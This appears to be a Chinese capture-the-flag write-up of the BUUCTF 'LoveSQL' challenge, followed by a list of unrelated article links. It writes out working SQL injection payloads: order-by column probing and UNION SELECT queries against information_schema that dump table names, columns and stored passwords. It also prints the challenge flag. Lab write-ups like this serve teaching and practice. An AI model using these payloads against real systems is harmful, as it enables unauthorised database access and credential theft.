当前位置: 首页 > news >正文

[极客大挑战 2019]LoveSQL 1

题目环境:
image.png判断注入类型
是否为数字型注入

admin
1

回显结果
image.png

是否为字符型注入

admin
1'

回显结果
image.png

判断注入手法类型

使用堆叠注入
采用密码参数进行注入

爆数据库
1'; show database();#
回显结果
image.png

这里猜测注入语句某字段被过滤,或者是’;'被过滤导致不能堆叠注入

爆字段数
1';order by 4#
回显结果
image.png

报错
抛弃堆叠注入

步入正题
1' order by 4#
回显结果
image.png

成功,但是不存在第4列
同时验证了猜想不能使用堆叠注入

继续判断列数
1' order by 3#
image.png

可知列数只有3列

爆数据库
使用联合查询
1' union select 1,2,database()#
image.png
爆数据表
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
回显结果
image.png

爆出两个表
开始爆数据表的字段
按照先后顺序把,先爆第一个

爆geekuser数据表的字段
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#
回显结果
image.png

字段:id、username、password

爆geekuser数据表的所有内容
1' union select 1,database(),group_concat(id,username,password) from geekuser#
回显结果
image.png

无flag

转手数据表l0ve1ysq1
步骤和数据表geekuser一样,这里直接爆数据表l0ve1ysq1的flag值
1' union select 1,database(),group_concat(password) from l0ve1ysq1#
回显结果
image.png
image.png
得出flag:
flag{3c4b1ff9-6685-4dcb-853e-06093c1e4040}

http://www.lryc.cn/news/219072.html

相关文章:

  • dji mini4pro 图片拷贝到电脑速度
  • 基于深度学习的目标检测算法 计算机竞赛
  • 前端面试题之CSS篇
  • 【SQL相关实操记录】
  • Python爬虫实战-批量爬取下载网易云音乐
  • LeetCode 面试题 16.14. 最佳直线
  • Spring Boot创建多模块项目
  • Node.js、Chrome V8 引擎、非阻塞式I/O介绍
  • 企业服务总线ESB有什么作用?和微服务有什么区别?会如何发展?
  • NLP之LSTM原理剖析
  • ESP32网络开发实例-Web方式配置WiFi连接
  • ElasticSearch 批量插入漏数据
  • C++——类和对象之运算符重载
  • 第二阶段第一章——面向对象
  • Linux学习第33天:Linux INPUT 子系统实验(二):Linux 自带按键驱动程序的使用
  • 解决Visual Studio 2010 运行时屏幕一闪而过,无结果显示的问题
  • C++(20):为[[nodiscard]]提供提示信息
  • hi3518ev200 从sd卡启动rootfs
  • [BUUCTF NewStar 2023] week5 Crypto/pwn
  • 使用seldom编写http接口用例
  • Redis中Hash类型的命令
  • Java 函数式编程
  • 类的成员函数总结
  • java高级之单元测试、反射
  • MSQL系列(十三) Mysql实战-left/right/inner join 使用详解及索引优化
  • 前端面试题之HTML篇
  • Django ORM:数据库操作的Python化艺术
  • react受控组件与非受控组件
  • 小米产品面试题:淘宝为何需要确认收货?京东为何不需要?
  • (1)上位机底部栏 UI如何设置